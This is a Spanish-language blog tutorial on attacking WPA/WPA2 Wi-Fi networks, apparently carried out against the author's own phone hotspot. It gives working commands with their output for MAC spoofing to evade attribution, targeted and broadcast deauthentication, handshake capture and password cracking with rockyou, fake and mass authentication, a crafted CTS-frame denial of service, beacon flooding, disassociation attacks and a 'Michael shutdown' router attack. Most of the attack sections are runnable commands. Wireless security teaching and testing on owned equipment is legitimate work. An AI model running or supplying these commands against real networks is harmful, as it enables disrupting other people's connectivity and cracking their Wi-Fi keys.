Hacking Wifi WPA2

Como ya sabemos necesitas una antena que acepte modo monitor en el anterior post deje el link de una antena que recomiendo al igual que muchas personas en este post nos vamos a estar enfocando en WPA/WPA2, los puntos de acceso los estaremos montando desde nuestro celular como en el post anterior simplemente indicando la contraseña y que es WPA o WPA2

Modo monitor

Vamos a conectar nuestra antena en mi caso ya estaría recuerda que tu antena puede tener un nombre diferente

❯ ifconfig wlx9cefd5f91ec0
wlx9cefd5f91ec0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 5a:46:ba:ee:43:6e  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Y bueno ahora vamos a poner la antena en modo monitor para poder desplegar los ataques

❯ airmon-ng start wlx9cefd5f91ec0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    675 NetworkManager
    685 wpa_supplicant

PHY	Interface	Driver		Chipset

phy0	wlx9cefd5f91ec0	rt2800usb	Ralink Technology, Corp. RT5572
Interface wlx9cefd5f91ec0mon is too long for linux so it will be renamed to the old style (wlan#) name.

		(mac80211 monitor mode vif enabled on [phy0]wlan0mon
		(mac80211 station mode vif disabled for [phy0]wlx9cefd5f91ec0)

Ahora como vemos ya esta en modo monitor

❯ ifconfig wlan0mon
wlan0mon: flags=4098<BROADCAST,MULTICAST>  mtu 1500
        unspec 9C-EF-D5-F9-1E-C0-D8-AA-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Cuando iniciamos el modo monitor con airmon-ng vemos 2 procesos conflictivos que necesitamos matar por detras son los que nos permiten estar conectados a una red inalambrica y nos otorga una IP por DHCP

Cuando estamos en modo monitor perdemos conectividad a internet a si que como son conflictivos los procesos vamos a matar estos procesos para no tener inconvenientes

❯ killall dhclient wpa_supplicant

Falsificación de la dirección MAC

Pues bueno aunque no tengamos IP por que estamos en modo monitor seguimos teniendo la dirección MAC ala hora de desplegar los ataques pueden quedar registros que relacionen nuestro dispositivo a si que lo que podemos hacer es falsificar nuestra dirección MAC lo único es que tenemos que dar de baja la antena en modo monitor ya que no podemos cambiar la MAC mientras este activa a si que vamos a darla de baja

❯ ifconfig wlan0mon down

Para cambiar la MAC vamos a usar macchanger aquí vemos los parámetros de la herramienta

❯ macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

  -h,  --help                   Print this help
  -V,  --version                Print version and exit
  -s,  --show                   Print the MAC address and exit
  -e,  --ending                 Don't change the vendor bytes
  -a,  --another                Set random vendor MAC of the same kind
  -A                            Set random vendor MAC of any kind
  -p,  --permanent              Reset to original, permanent hardware MAC
  -r,  --random                 Set fully random MAC
  -l,  --list[=keyword]         Print known vendors
  -b,  --bia                    Pretend to be a burned-in-address
  -m,  --mac=XX:XX:XX:XX:XX:XX
       --mac XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

Report bugs to https://github.com/alobbs/macchanger/issues

Como tal podemos ver que esta es nuestra actual dirección MAC en base al OUI se puede saber que es o a quien pertenece un dispositivo en este caso no me lo detecta por que no sabe

❯ macchanger -s wlan0mon
Current MAC:   9c:ef:d5:f9:1e:c0 (unknown)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)

Una ejemplo es este aquí vemos el OUI de Vmware

❯ macchanger -l | grep -i vmware
1386 - 00:05:69 - VMware, Inc.
3086 - 00:0c:29 - VMware, Inc.
7161 - 00:1c:14 - VMware, Inc
10601 - 00:50:56 - VMware, Inc.

Podemos asignarnos una dirección MAC aleatoria o una en especifica se hace de la siguiente forma

❯ macchanger -a wlan0mon
Current MAC:   9c:ef:d5:f9:1e:c0 (unknown)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)
New MAC:       00:06:47:93:d7:70 (Etrali S.A.)

Ahora tenemos la MAC de Etrali S.A.

❯ macchanger -s wlan0mon
Current MAC:   00:06:47:93:d7:70 (Etrali S.A.)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)

Podemos asignarnos una MAC en especifica en este caso a mi me interesa asignarme esta MAC para hacerme pasar por la DEA

❯ macchanger -l | grep -i "Dea Security"
5383 - 00:15:22 - Dea Security

Para hacerlo simplemente le asignamos el OUI y algo aleatorio

❯ macchanger --mac="00:15:22:ad:bc:21" wlan0mon
Current MAC:   00:06:47:93:d7:70 (Etrali S.A.)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)
New MAC:       00:15:22:ad:bc:21 (Dea Security)

Ahora vamos a dar de alta la tarjeta de red

❯ ifconfig wlan0mon up

Ahora vemos que tenemos la de la Dea

❯ macchanger -s wlan0mon
Current MAC:   00:15:22:ad:bc:21 (Dea Security)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)

Si quieres restablecer todo a como estaba por defecto es muy fácil recuerda que primeramente tenemos que darla de baja para que pueda funcionar

❯ ifconfig wlan0mon down

Y ahora hacemos lo siguiente

❯ macchanger -p wlan0mon
Current MAC:   00:15:22:ad:bc:21 (Dea Security)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)
New MAC:       9c:ef:d5:f9:1e:c0 (unknown)
❯ ifconfig wlan0mon up
❯ airmon-ng stop wlan0mon

PHY	Interface	Driver		Chipset

phy0	wlan0mon	rt2800usb	Ralink Technology, Corp. RT5572
		(mac80211 station mode vif enabled on [phy0]wlan0)
		(mac80211 monitor mode vif disabled for [phy0]wlan0mon)

Ahora lo necesitamos reiniciar este servicio

❯ /etc/init.d/networking restart
Restarting networking (via systemctl): networking.service.

Y bueno después de volver a poner la tarjeta en modo monitor otra vez vemos que ahora tiene la dirección MAC original puedes cambiarla otra vez pero en mi caso no lo haré por que todos los ataques los estaremos haciendo en local y no atacando a alguna red que no nos pertenece en ese caso si no la cambiáramos

❯ macchanger -s wlan0mon
Current MAC:   9c:ef:d5:f9:1e:c0 (unknown)
Permanent MAC: 9c:ef:d5:f9:1e:c0 (unknown)

Analizando el entorno

Ahora lo que vamos a hacer es ver las redes inalambricas que están disponibles en el entorno para hacerlo simplemente ejecutamos lo siguiente

❯ airodump-ng wlan0mon

Hay podemos ver en mi caso las redes inalambricas en mi entorno disponibles recordar que el ESSID es el nombre de la red wifi el BSSID es la dirección MAC del punto de acceso el PWR es para que tan cerca esta de nosotros entre mas cerca estemos mejor

Lo que hecho ahora es crearme un punto de acceso desde el celular que lo tengo alado para que vean que vamos a tener esta red muy cerca si volvemos a ejecutar airodump-ng wlan0mon la veremos ademas sabemos que la autenticación es PSK ya que tenemos que proporcionar una contraseña para poder conectarnos

Bueno algo a saber es la que la sección de abajo corresponde a los clientes que están conectanos a un punto de acceso

STATION es un cliente puede ser un celular un ordenador o lo que sea y el BSSID nos dice que esta asociado a ese punto de acceso vemos que el punto de acceso termina en 94:E4 y si nos fijamos corresponde a Totalplay-E39F que es de algún vecino quiero pensar el PWR es -1 pero la red esta algo alejada de mi, los Frames entre mas valla aumentando ese significa que el cliente esta activo en la red, cuando nos dice <length: 0> es que la red esta oculta

Lo que podemos hacer es filtrar directamente por una red en especifico con el CH y el ESSID

❯ airodump-ng -c 1 --essid MiguelWifi wlan0mon

Hay vemos muchos clientes asociados a otros AP y 1 al nuestro

Si aumentan los Frames sabemos que el cliente esta activo si expulsamos a un cliente de la red estaremos haciendo un ataque de desautenticacion para cuando se reconecte de forma automática capturar el hash podemos guardar todo en una captura (cambie el canal por que cambie el punto de acceso)

❯ airodump-ng -c 6 -w Captura --essid MiguelWifi wlan0mon

Vemos todo el trafico

Si paramos esto y hacemos un ls vemos las capturas

❯ ll
.rw-r--r-- root root  18 KB Wed Aug 30 12:27:14 2023  Captura-01.cap
.rw-r--r-- root root 2.0 KB Wed Aug 30 12:27:16 2023  Captura-01.csv
.rw-r--r-- root root 590 B  Wed Aug 30 12:27:16 2023  Captura-01.kismet.csv
.rw-r--r-- root root  29 KB Wed Aug 30 12:27:16 2023  Captura-01.kismet.netxml
.rw-r--r-- root root 449 KB Wed Aug 30 12:27:16 2023  Captura-01.log.csv

La mas interesante es la .cap ya que hay es donde esta el handshake y toda la información importante

❯ file *
Captura-01.cap:           pcap capture file, microsecond ts (little-endian) - version 2.4 (802.11, capture length 65535)
Captura-01.csv:           ASCII text, with CRLF line terminators
Captura-01.kismet.csv:    ASCII text, with very long lines, with CRLF, LF line terminators
Captura-01.kismet.netxml: XML 1.0 document, ASCII text
Captura-01.log.csv:       CSV text

Ataque para capturar el Handshake (Deautenticación dirigido)

Este es una de los ataques mas comunes

Vamos a seguir monitoreando el trafico de la red que creamos

❯ airodump-ng -c 6 -w Captura --essid MiguelWifi wlan0mon

Este es el equipo que quiero expulsar de la red 80:30:49:81:DC:AD (Estos ataques solo funcionan para (WPA/WPA2) de autenticacion PSK los de usuario y contraseña son otro tipo de ataque

Vamos a usar aireplay-ng

❯ aireplay-ng --help | tail -n 13
      --deauth      count : deauthenticate 1 or all stations (-0)
      --fakeauth    delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay         : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)
      --fragment          : generates valid keystream   (-5)
      --caffe-latte       : query a client for new IVs  (-6)
      --cfrag             : fragments against a client  (-7)
      --migmode           : attacks WPA migration mode  (-8)
      --test              : tests injection and quality (-9)

      --help              : Displays this usage screen

El -0 nos permite deautenticar una estación de una red inalambrica lo vamos a expulsar para que cuando se vuelva a conectar se genere el handshake y lo podamos capturar

Vamos a emitir 10 paquetes de deautenticacion del punto de acceso

❯ aireplay-ng -0 15 -e MiguelWifi -c 80:30:49:81:DC:AD wlan0mon
03:21:06  Waiting for beacon frame (ESSID: MiguelWifi) on channel 1
Found BSSID "C6:BF:FD:55:E2:F7" to given ESSID "MiguelWifi".
03:21:07  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [ 0|47 ACKs]
03:21:07  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [38|72 ACKs]
03:21:08  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [63|68 ACKs]
03:21:08  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [61|57 ACKs]
03:21:09  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [70|75 ACKs]
03:21:10  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [61|64 ACKs]
03:21:10  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [61|84 ACKs]
03:21:11  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [61|63 ACKs]
03:21:12  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [61|81 ACKs]
03:21:12  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [58|79 ACKs]
03:21:13  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [63|64 ACKs]
03:21:14  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [42|67 ACKs]
03:21:14  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [60|64 ACKs]
03:21:15  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [47|72 ACKs]
03:21:16  Sending 64 directed DeAuth (code 7). STMAC: [80:30:49:81:DC:AD] [31|75 ACKs]

Esto lo que hice fue expulsar al cliente de la red y ahora ya capturamos el Handshake ya se conecte automáticamente

Procedemos a crackear para ver la contraseña

❯ aircrack-ng -w /usr/share/wordlists/rockyou.txt Captura-02.cap
Reading packets, please wait...
Opening Captura-02.cap
Read 6933 packets.


                               Aircrack-ng 1.6 

      [00:00:00] 115/10303727 keys tested (576.74 k/s) 

      Time left: 4 hours, 57 minutes, 45 seconds                 0.00%

      [00:00:00] 299/10303727 keys tested (880.17 k/s) 

      Time left: 3 hours, 15 minutes, 6 seconds                  0.00%

      [00:00:00] 451/10303727 keys tested (915.48 k/s) 

      Time left: 3 hours, 7 minutes, 34 seconds                  0.00%

      [00:00:01] 555/10303727 keys tested (928.10 k/s) 

      Time left: 3 hours, 5 minutes, 1 second                    0.01%

                       Current passphrase: manchester                 


      Master Key     : 55 01 AE 01 39 05 DF 0B 58 9B EF 29 56 27 80 10 
                          KEY FOUND! [ manchester ]
      Transient Key  : 51 23 B5 F0 A5 9A CA 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
      EAPOL HMAC     : 92 E5 79 A4 74 0A 86 69 6E C2 3E 53 7B 76 17 CC 

Ataque de De-Autenticacion Global

Bueno para este ataque vamos a seguir monitorisando el punto de acceso que creamos desde nuestro celular para eso seguimos los mismos conceptos, para ver los clientes conectados

Pero lo que ahora queremos hacer es expulsar a todos los clientes de la red

Para expulsar a todos los clientes de la red la dirección MAC del dispositivo a atacar y esa MAC es FF:FF:FF:FF:FF:FF esta dirección MAC es la dirección Broadcast, la cual hace referencia a todos los clientes que están en la red, al expulsar a todos tenemos mas tasa de éxito ya que la mayoría de clientes se van a volver a desconectar y cunado uno se reconecte tenemos un Handshake valido

Antes de hacer el ataque no tenemos ningún Handshake

Ahora si lo iniciamos los dispositivos se van a desconectar y cuando uno se reconecte capturaremos el Handshake

❯ aireplay-ng -0 15 -e MiguelWifi -c FF:FF:FF:FF:FF:FF wlan0mon

Esta es otra forma

❯ aireplay-ng -0 15 -e MiguelWifi wlan0mon

Si lo que queremos hacer es que ningún cliente se conecte podemos enviar paquetes infinitos

❯ aireplay-ng -0 0 -e MiguelWifi wlan0mon

Ataque de Autenticación

Este ataque nos va a permitir autenticar a un cliente a una red inalambrica o a un punto de acceso si vemos el panel de ayuda de aireplay-ng vemos que nos dicen sobre fakeauth

Un ejemplo rápida para comprender este concepto es que mediante un AP que tenemos vamos a conectar un cliente suponiendo que no hay ningún cliente conectado al AP

❯ airodump-ng --bssid C6:BF:FD:55:E2:F7 --channel 10 wlan0mon

Si nos podemos a capturar vemos que de momento no hay ningún cliente asociado

Para autenticar a un cliente debemos proporcionar su dirección MAC yo por ejemplo voy a autenticar una laptop que tengo alado para practicar en este laboratorio y me se su dirección MAC , no le vamos a indicar paquetes si no que de manera ilimitada asta que se asocie termine

❯ aireplay-ng -1 0 -e MiguelWifi -h 00:26:6c:1f:03:d8 wlan0mon
The interface MAC (9C:EF:D5:F9:1E:C0) doesn't match the specified MAC (-h).
	ifconfig wlan0mon hw ether 00:26:6C:1F:03:D8
18:37:14  Waiting for beacon frame (ESSID: MiguelWifi) on channel 10
Found BSSID "C6:BF:FD:55:E2:F7" to given ESSID "MiguelWifi".

18:37:14  Sending Authentication Request (Open System)

18:37:16  Sending Authentication Request (Open System) [ACK]
18:37:16  Authentication successful
18:37:16  Sending Association Request [ACK]
18:37:16  Association successful :-) (AID: 1)

Ahora vemos que como tal el cliente esta autenticado

Si expulsamos al cliente y tratamos de hacer una reconexión manual no va a generar ningun handshake por que todo esto es falso en la autenticación el cliente no dispone de la contraseña de la red es por eso que no va a viajar la contraseña por que es una falsa autenticación.

Inyectar clientes de manera agresiva (Autenticación masiva)

Algo que podemos hacer es que con mdk3 podemos hacer este tipo de ataque donde de forma agresiva va a inyectar demasiados clientes a una red inalambrica con esto lo que conseguimos es que al estar demasiados clientes se van a expulsar algunos por que va a estar saturada la red y cuando se reconecte podremos capturar el handshake es una forma como esta saturada la red se desconecta y se reasocia despues , solo le indicaremos la MAC de AP

❯ mdk3 wlan0mon a -a C6:BF:FD:55:E2:F7

Y se inyectan demasiados clientes tu puedes parar el ataque asta cuando quieras con un CTRL+C

CTS Frame attack

Este ataque no suele salir ala primera y se necesita de algo de paciencia

Este ataque lo que nos permite es dejar una red inalambrica inoperativa durante un largo periodo de tiempo esto nos permite dejar la red saturada para que los clientes sean expulsados y cuando se vuelvan a conectar automáticamente obtener el handshake

Lo primero que vamos a hacer es abrir wireshark

❯ wireshark &>/dev/null & disown 

Vamos a seleccionar esa interfaz

Una vez establecido eso vemos que como tal hay demasiados paquetes y como tal hay podemos ver nuestro AP

El paquete CTS o Clear-to-send esta formado por 14 Bytes donde se incluye, Frame Control, la duración de la reserva, Dirección MAC de la estación que recibirá el paquete y finalmente el Frame Check Sequence (FCS) es para comprobar la integridad de la trama.

Vamos a hacerlo para entenderlo mejor, vamos a filtrar por los paquetes CTS

Si queremos ver todo esto de mejor forma y ver mas información desde consola también podemos usar tshark, vamos a exportarlo a un .cap

❯ tshark -w Captura.cap 2>/dev/null

Ahora nos ponemos en escucha con airodump-ng para poder capturar mas rápido y esperamos unos segundos antes de hacer ctrl+c

Otra forma es especificando directamente la interfaz

Si filtramos por lo mismo que en wireshark vemos que ya lo tenemos

Hay vemos el campo que nos interesa

Si queremos verlo desde wireshark estos serian

Vamos a seleccionar un paquete cualquiera en mi caso seria el 19 y vamos a darle en files y vamos a seleccionar la opción para guardar un paquete en especifico

❯ file ataquects.pcap
ataquects.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (802.11 with radiotap header, capture length 262144)

Por aquí vemos el campo que nos interesa

❯ tshark -r ataquects.pcap -Tfields -e wlan.duration 2>/dev/null
270

Vamos abrir la captura

Estos valores corresponden ala MAC del punto de acceso

Y esto corresponde al tiempo en micro-segundos que esta en 0 xd esta en little endian puedes convertirlo a decimal con Python

Bueno lo mas probable es que si elegimos otro paquete que no se hizo al AP por eso el tiempo sea diferente pero bueno sigamos

Nosotros como atacantes podemos establecer el tiempo máximo que son 30K

❯ python
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(30000)
'0x7530'
>>> 

Pero hay que darle la vuelta entonces quedaría 3075

Ahora vamos a establecer la dirección MAC del AP

Ahora lo guardamos y lo abrimos con wireshark

Bueno como tal tuve unos pequeños inconvenientes y tuve que usar otro paquete pero para hacer el ataque simplemente hacemos lo siguiente

Con tcpreplay indicándole la tarjeta de red en modo monitor a máxima velocidad le indicamos los loops para que haga 10K de iteraciones y le indicamos el paquete para que lo repita

❯ tcpreplay --intf1=wlan0mon --topspeed --loop=10000 ya.pcap 2>/dev/null
Actual: 10000 packets (280000 bytes) sent in 19.25 seconds
Rated: 14539.0 Bps, 0.116 Mbps, 519.25 pps
Statistics for network device: wlan0mon
	Successful packets:        10000
	Failed packets:            0
	Truncated packets:         0
	Retried packets (ENOBUFS): 0
	Retried packets (EAGAIN):  0

Lo que deberíamos de ver en nuestros dispositivos es que la señal de tu wifi las rayitas tienen que disminuir ya que secuestraste de tal manera el ancho de banda, si lo que quieres es el handshake simplemente te pones con airodump-ng para capturarlo cuando el cliente se reasocie.

Beacon Flood Mode Attack

Para empezar el Beacon es un tipo de paquete que contiene informacion sobre el punto de acceso informacion sobre el canal en el que esta, el tipo de encriptado, el nombre y esas cosas.

Una forma de ver los paquetes es con tshark podemos filtrar directamente por esos paquetes mientras en otra terminal nos ponemos a monitorear con airodump-ng

Con la herramienta mdk3 podemos generar este ataque esto lo que consigue es generar muchos paquetes de tipo Beacon vamos a generar demasiados AP en el mismo canal donde se sitúa el AP que tenemos para que la red se quede inoperativa para los clientes

Vamos a generar los nombres de los AP que vamos a generar

for i in $(seq 1 10); do echo "WifiFree$i" >> names.txt; done
❯ catn names.txt
WifiFree1
WifiFree2
WifiFree3
WifiFree4
WifiFree5
WifiFree6
WifiFree7
WifiFree8
WifiFree9
WifiFree10

Ahora con la herramienta mdk3 vamos a hacer el siguiente ataque

❯ mdk3 --help

MDK 3.0 v6 - "Yeah, well, whatever"
by ASPj of k2wrlz, using the osdep library from aircrack-ng
And with lots of help from the great aircrack-ng community:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green, bahathir and Dawid Gajownik
THANK YOU!

MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.
IMPORTANT: It is your responsibility to make sure you have permission from the
network owner before running MDK against it.

This code is licenced under the GPLv2

MDK USAGE:
mdk3 <interface> <test_mode> [test_options]

Try mdk3 --fullhelp for all test options
Try mdk3 --help <test_mode> for info about one test only

TEST MODES:
b   - Beacon Flood Mode
      Sends beacon frames to show fake APs at clients.
      This can sometimes crash network scanners and even drivers!

Ahora simplemente le pasamos el nombre del fichero donde estan los nombres de los AP y el canal donde se situa el AP que queremos atacar y comenzamos el ataque

❯ mdk3 wlan0mon b -f names.txt -a -s 1000 -c 2

Ahora podemos ver como se crearon varios AP que fueron los que indicamos en el names.txt que están en el mismo canal estos se irán incrementando y va a saturar el AP victima ya que hay demasiados AP en el mismo canal

Otra forma seria de esta manera el problema es que el SSID van a ser aleatorios el nombre no lo vamos a especificar nosotros y con esto se dañaría el espectro de onda de la red para que quede inoperativa

❯ mdk3 wlan0mon b -c 2

Disassociation Amok Mode Attack

Este ataque consiste básicamente en hacer un ataque de deautenticacion dirigido para poder hacer este ataque necesitamos crear un fichero con las direcciones MAC de los clientes a los cuales queremos deautenticar del AP

Si monitoreamos el AP en mi caso hay 2 clientes conectados al AP

En mi caso voy a indicar la direccion MAC 84:4B:F5:48:6C:CF que es el cliente que quiero expulsar

❯ nvim blacklist
❯ catn blacklist
84:4B:F5:48:6C:CF

Ahora para hacer el ataque simplemente usamos la herramienta mdk3

❯ mdk3 wlan0mon d -w blacklist -c 1

Periodically re-reading blacklist/whitelist every 3 seconds

Todos los AP que operen en el canal 1 va a estar expulsando a todos los clientes que tengan esa dirección MAC que indicamos en el archivo blacklist

Michael Shutdown Exploitation

Este ataque lo que nos permite es apagar un router el problema de este ataque es que no es muy efectivo no hay mucha documentación sobre este ataque

Como vemos no hay mucha información sobre este ataque a si que vamos a hacerlo de todas formas para este ataque necesitamos la herramienta mdk3

Esto lo que hace es emitir los paquetes para que se apague el router pero no siempre funciona le vamos a indicar la dirección MAC del AP

❯ mdk3 wlan0mon m -t C6:BF:FD:55:E2:F7

Ataques Pasivos

Bueno asta ahora hemos hecho ataques donde básicamente estamos deautenticando a los clientes del AP para que cuando se reconecten de forma automática al AP obtener el Handshake pero también hay una forma de básicamente obtener el handshake sin expulsar a nadie ya que cuando un dispositivo ya estuvo conectado al AP desde hace mucho cuando el dispositivo detecte la red wifi se va a conectar y si nosotros estamos en escucha en modo monitor vamos a capturar el handshake simplemente por que estamos escuchando es una forma algo lenta por que tenemos que esperar a que se conecte o se reconecte pero bueno es igual funcional

Modos de filtro con tshark

Bueno para esto recomiendo hacer un ataque de deautenticacion global para capturar el handshake y exportar

Cuando un dispositivo se conecta ala red emite el Probe Request para filtrar por ese paquete se hace de esta manera

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==4" 2>/dev/null

Si queremos capturar esos paquetes podemos hacer lo siguiente

❯ tshark -i wlan0mon -Y "wlan.fc.type_subtype==4" 2>/dev/null

Y en una terminal por debajo vamos a ejecutar lo siguiente airodump-ng wlan0mon

Cuando el dispositivo emite un Probe Request hay un Probe Response

Después están los paquetes de asociación que son cuando el cliente se a tratado de asociar al AP para filtrar por esos es de la siguiente forma

También tenemos el Association Response

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==1" 2>/dev/null
 7819 133.720190 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 129 Association Response, SN=3088, FN=0, Flags=........

Hay vemos un paquete Beacon que ya lo habíamos visto

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==8" 2>/dev/null
    1   0.000000 c6:bf:fd:55:e2:f7 → Broadcast    802.11 281 Beacon frame, SN=1066, FN=0, Flags=........, BI=100, SSID="MiguelWifi"

Estos son los paquetes de autenticacion

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==11" 2>/dev/null
 6003 130.208233 1a:58:18:4e:8a:68 → c6:bf:fd:55:e2:f7 802.11 65 Authentication, SN=68, FN=0, Flags=........
 7806 133.704687 1a:58:18:4e:8a:68 → c6:bf:fd:55:e2:f7 802.11 65 Authentication, SN=4029, FN=0, Flags=........
 7809 133.708056 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3086, FN=0, Flags=........
34291 184.497250 1a:58:18:4e:8a:68 → c6:bf:fd:55:e2:f7 802.11 65 Authentication, SN=3285, FN=0, Flags=........
34297 184.501073 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=........
34298 184.502776 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34299 184.502921 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34300 184.504065 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34301 184.504392 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34302 184.504766 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34303 184.505328 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34304 184.505888 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34305 184.506479 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34306 184.507047 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34307 184.507682 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34308 184.508256 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34309 184.508876 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
34310 184.509440 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3135, FN=0, Flags=....R...
37955 193.360020 1a:58:18:4e:8a:68 → c6:bf:fd:55:e2:f7 802.11 65 Authentication, SN=2395, FN=0, Flags=........
37957 193.369268 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 30 Authentication, SN=3142, FN=0, Flags=........

De esta forma filtramos por los paquetes de Deauthentication

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==12" 2>/dev/null | tail -n 10
37924 191.278041 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1012, FN=0, Flags=........
37925 191.280473    Broadcast → c6:bf:fd:55:e2:f7 802.11 26 Deauthentication, SN=1013, FN=0, Flags=........
37926 191.281691 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1012, FN=0, Flags=........
37927 191.282669    Broadcast → c6:bf:fd:55:e2:f7 802.11 26 Deauthentication, SN=1013, FN=0, Flags=........
37929 191.283940 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1014, FN=0, Flags=........
37930 191.285588 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1014, FN=0, Flags=........
37931 191.286318    Broadcast → c6:bf:fd:55:e2:f7 802.11 26 Deauthentication, SN=1015, FN=0, Flags=........
37933 191.290187 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1016, FN=0, Flags=........
37934 191.290197    Broadcast → c6:bf:fd:55:e2:f7 802.11 26 Deauthentication, SN=1015, FN=0, Flags=........
37935 191.293178 c6:bf:fd:55:e2:f7 → Broadcast    802.11 26 Deauthentication, SN=1016, FN=0, Flags=........

Este es para filtrar por los paquetes de tipo Disassociate

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==10" 2>/dev/null
 9879 137.777670 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 26 Disassociate, SN=3092, FN=0, Flags=........
 9880 137.778488 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 26 Disassociate, SN=3092, FN=0, Flags=....R...
 9881 137.779021 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 26 Disassociate, SN=3092, FN=0, Flags=....R...
 9882 137.779431 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 26 Disassociate, SN=3092, FN=0, Flags=....R...
 9883 137.780339 c6:bf:fd:55:e2:f7 → 1a:58:18:4e:8a:68 802.11 26 Disassociate, SN=3092, FN=0, Flags=....R...

Este es para filtrar por los ACK este paquete se utiliza para confirmar que se ah recibido con éxito un segmento de datos

❯ tshark -r Captura-01.cap -Y "wlan.fc.type_subtype==29" 2>/dev/null | tail -n 5
39650 241.336497              → c6:bf:fd:55:e2:f7 (c6:bf:fd:55:e2:f7) (RA) 802.11 10 Acknowledgement, Flags=........
